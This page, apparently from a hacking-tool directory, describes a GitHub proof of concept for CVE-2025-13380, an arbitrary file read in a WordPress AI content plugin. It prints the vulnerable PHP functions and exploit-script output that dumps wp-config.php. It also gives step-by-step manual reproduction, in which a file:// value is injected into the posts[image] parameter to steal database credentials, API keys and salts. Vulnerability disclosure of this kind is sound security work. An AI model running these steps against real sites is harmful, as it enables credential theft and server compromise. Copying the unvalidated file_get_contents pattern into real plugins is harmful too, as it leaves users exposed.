Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-13380 — AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Authenticated (Contributor+) Arbitrary File Read | Kitploit
Tools/GitHubGitHub/d0n601/cve-2025-13380
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubd0n601/cve-2025-13380

CVE-2025-13380

AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Authenticated (Contributor+) Arbitrary File Read

View Repository
9 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Authenticated (Contributor+) Arbitrary File Read

The AI Engine for WordPress plugin contains a vulnerability in its image insertion feature that allows any authenticated user with post editing capabilities (Contributor, Author, Editor, Administrator) to download arbitrary files from the server. The vulnerability stems from the lqdai_update_post AJAX endpoint lacking proper capability checks and the insert_image() function using file_get_contents() with user-controlled URLs without protocol validation, allowing arbitrary file downloads via the file:// protocol.

TL;DR Exploits

  • A POC CVE-2025-13380.py is provided to demonstrate a Contributor level user downloading the site's wp-config.php file.
root@kitploit:~
 python3 ./exploit.py http://techcorp.cc contributor password   
[+] Target: http://techcorp.cc
[+] Username: contributor
[+] Nonce obtained: 5dc61a0166
[+] Post created with ID: 148
[+] File written to uploads directory
[+] Attempting to retrieve file from: http://techcorp.cc/wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
[+] File retrieved successfully!
[+] wp-config.php contents:
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
...
...
...

Details

File Insert Function

The lqdai_update_post AJAX action calls the update_post() function on line 315 of /wp-content/plugins/liquid-chatgpt/liquid-chatgpt.php, which lacks proper capability checks and allows any authenticated user to modify posts they can edit:

root@kitploit:~
function update_post() {
    if ( empty( $posts = $_POST['posts'] ) ) {
        wp_send_json( [
            'error' => true,
            'message' => __( 'Data is null!', 'lqdai' ),
        ] );
    }

    $args = [
        'ID'            => $posts['post_id'],
        'post_title'    => $posts['title'],
        'post_content'  => $posts['content'],
        'post_status'   => 'draft',
    ];

    $update_post = wp_update_post( $args );
    
    if ( is_wp_error( $update_post ) ) {
        wp_send_json( [
            'error' => true,
            'message' => $update_post->get_error_messages()
        ] );
    } else {
        wp_set_post_tags( $posts['post_id'], $posts['tags'], false );

        if ( !empty( $posts['image'] ) ) {
            $this->insert_image( $posts['post_id'], $posts['image'] );  // <-- ARBITRARY FILE DOWNLOAD VULNERABILITY
        }
    }
}

Arbitrary File Download in insert_image()

The insert_image() function on line 419 uses file_get_contents() with user-controlled URLs without protocol validation, allowing arbitrary file downloads:

root@kitploit:~
function insert_image( $post_id, $image_url ) {
    // Get the path to the uploads directory
    $upload_dir = wp_upload_dir();
    $image_data = file_get_contents($image_url);

    $filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
    
    // Save the image to the uploads directory
    if ( wp_mkdir_p($upload_dir['path']) ) {
        $file = $upload_dir['path'] . '/' . $filename;
    } else {
        $file = $upload_dir['basedir'] . '/' . $filename;
    }
    
    file_put_contents($file, $image_data);  // <-- WRITES 
    
    // Get the attachment ID for the image
    $wp_filetype = wp_check_filetype($filename, null );
    $attachment = array(
        'post_mime_type' => $wp_filetype['type'],
        'post_title' => sanitize_file_name(str_replace('.jpg','', $filename)),
        'post_content' => '',
        'post_status' => 'inherit'
    );
    $attachment_id = wp_insert_attachment( $attachment, $file, $post_id );
    require_once(ABSPATH . 'wp-admin/includes/image.php');
    $attachment_data = wp_generate_attachment_metadata( $attachment_id, $file );
    wp_update_attachment_metadata( $attachment_id, $attachment_data );
    
    // Set the attachment ID as the featured image for the post
    set_post_thumbnail($post_id, $attachment_id);
}

Path Construction and File Naming

The vulnerable path construction allows reading local files via the file:// protocol:

root@kitploit:~
// User provides: 'file:///var/www/html/wp-config.php'
$image_url = 'file:///var/www/html/wp-config.php';

// file_get_contents() reads the file (works by default in PHP)
$image_data = file_get_contents($image_url);  // Reads /var/www/html/wp-config.php

// Filename is constructed from the path
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// parse_url() returns '/var/www/html/wp-config.php'
// sanitize_file_name() removes slashes: 'varwwwhtmlwp-config.php'
// Appends '.jpg': 'varwwwhtmlwp-config.php.jpg'

// File is written to uploads directory
$file = $upload_dir['path'] . '/' . $filename;
// Result: /wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
file_put_contents($file, $image_data);  // Writes wp-config.php content

Manual Reproduction

  1. Login to WordPress as a Contributor (or any user with post editing capabilities).
  2. Create a new post draft to obtain a post ID.
  3. Use browser developer tools or a tool like Burp Suite to intercept traffic.
  4. Intercept a request to /wp-admin/admin-ajax.php calling the lqdai_update_post action.
  5. Modify the request to include a file:// protocol URL in the posts[image] parameter.
  6. Send the request with posts[image]=file:///var/www/html/wp-config.php to read the WordPress configuration file.
  7. Access the file via the uploads directory URL: /wp-content/uploads/YYYY/MM/varwwwhtmlwp-config.php.jpg.
  8. Extract sensitive configuration files including database credentials, API keys, and security salts.
Download Tool